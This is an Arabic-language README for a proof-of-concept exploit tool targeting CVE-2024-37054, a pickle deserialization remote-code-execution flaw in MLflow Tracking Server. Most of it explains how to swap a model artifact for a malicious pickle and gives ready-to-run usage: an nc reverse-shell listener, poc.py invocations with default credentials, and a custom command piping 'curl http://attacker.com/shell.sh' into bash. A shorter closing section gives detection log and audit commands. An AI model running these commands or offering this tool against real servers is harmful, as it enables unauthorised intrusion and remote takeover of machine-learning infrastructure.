
إثبات مفهوم لاستغلال CVE-2024-37054، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد عبر إلغاء تسلسل pickle في MLflow Tracking Server. يمكن للمهاجمين المصادق عليهم استبدال قطع أثرية للنماذج لتحقيق تنفيذ تعليمات برمجية عن بُعد. يتضمن إرشادات للكشف والتخفيف.
استغلال إثبات المفهوم لثغرة حرجة في إلغاء تسلسل pickle في خادم تتبع MLflow، تتيح تنفيذ تعليمات برمجية عن بُعد للمستخدمين المصادَق عليهم.
⚠️ للاستخدام التعليمي واختبارات الأمان المصرح بها فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن كتابي صريح لاختبارها.
| الحقل | القيمة |
|---|---|
| CVE ID | CVE-2024-37054 |
| درجة CVSS | 8.8 (HIGH) |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| الإصدارات المتأثرة | MLflow < 2.14.3 |
| الإصدار المُصحَّح | MLflow ≥ 2.14.3 |
| نوع الثغرة | CWE-502: إلغاء تسلسل البيانات غير الموثوقة |
| متجه الهجوم | الشبكة |
| الصلاحيات المطلوبة | منخفضة (بيانات اعتماد صالحة) |
| تفاعل المستخدم | لا شيء |
يقوم خادم تتبع MLflow بإلغاء تسلسل مصنوعات النماذج عبر وحدة pickle في بايثون عند تحميل النماذج للاستدلال. يمكن لمهاجم مصادَق عليه استبدال مصنوعة python_model.pkl في مستودع مصنوعات MLflow بحمولة pickle خبيثة. عند تحميل النموذج لاحقًا (على سبيل المثال، أثناء طلب تنبؤ)، يتم إلغاء تسلسل الحمولة، مما ينفذ تعليمات برمجية عشوائية على الخادم.
المتطلبات الأساسية للاستغلال:
يؤدي الاستغلال الناجح إلى تنفيذ تعليمات برمجية عن بُعد بمستوى صلاحيات عملية خادم MLflow، مما قد يؤدي إلى اختراق النظام بالكامل، أو تسريب البيانات، أو الحركة الجانبية، أو الوصول الدائم.
python_model.pkl بحمولة pickle مصممة خصيصًا عبر PUT /api/2.0/mlflow-artifacts/artifacts/....pickle.load() على المصنوعة المخترَقة.__reduce__ الخاصة بـ pickle دالة os.system()، مما ينفذ أمر المهاجم.تستخدم الحمولة os.system() (دالة مدمجة في لغة C) بدلاً من cloudpickle لتعظيم التوافق عبر الإصدارات وتجنب مشاكل البايت كود الخاصة بإصدارات بايثون المحددة.
المتطلبات: بايثون 3.7+ وrequests
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054
# Start a listener
nc -lvnp 4444
# Run the exploit
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>
# Default credentials, basic reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444
# Custom MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:MySecretPass123
# App login + MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:password \
--app-username admin \
--app-password admin123
# Custom command instead of reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--cmd "curl http://attacker.com/shell.sh | bash"
# Target specific experiment, increase delay for slow servers
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--experiment-id 1 --delay 5
# Verbose output
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v
| الوسيط | الوصف |
|---|---|
target | عنوان URL للتطبيق المستهدف |
mlflow | عنوان URL لخادم تتبع MLflow |
lhost | مضيف المهاجم لاستدعاء الصدفة العكسية |
lport | منفذ المهاجم لاستدعاء الصدفة العكسية |
--mlflow-creds USER:PASS | بيانات اعتماد MLflow (الافتراضي: admin:password) |
--app-username | اسم مستخدم تسجيل دخول التطبيق |
--app-password | كلمة مرور تسجيل دخول التطبيق |
--app-login-url | مسار نقطة نهاية تسجيل الدخول |
--upload-url | مسار نقطة نهاية الرفع |
--predict-url | مسار نقطة نهاية التنبؤ |
--experiment-id ID | استهداف معرف تجربة محدد |
--delay SECONDS | التأخير بين الخطوات (الافتراضي: 2 ثانية) |
--cmd COMMAND | أمر مخصص للتنفيذ |
--verbose / --quiet | التحكم في مستوى المخرجات |
--no-color | تعطيل المخرجات الملونة |
PUT إلى نقاط نهاية /api/2.0/mlflow-artifacts/artifacts/python_model.pklPOST /api/2.0/mlflow/runs/search متبوعًا فورًا بتعديلات على المصنوعاتos.system() من عمليات MLflow# Artifact modification in access logs
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log
# File integrity monitoring
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts
إجراءات فورية:
إجراءات طويلة الأمد:
هذه الأداة مخصصة حصريًا لما يلي:
لا تستخدم هذه الأداة على أي نظام لا تملكه أو ليس لديك إذن كتابي صريح لاختباره. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام.
MIT — راجع LICENSE للحصول على التفاصيل.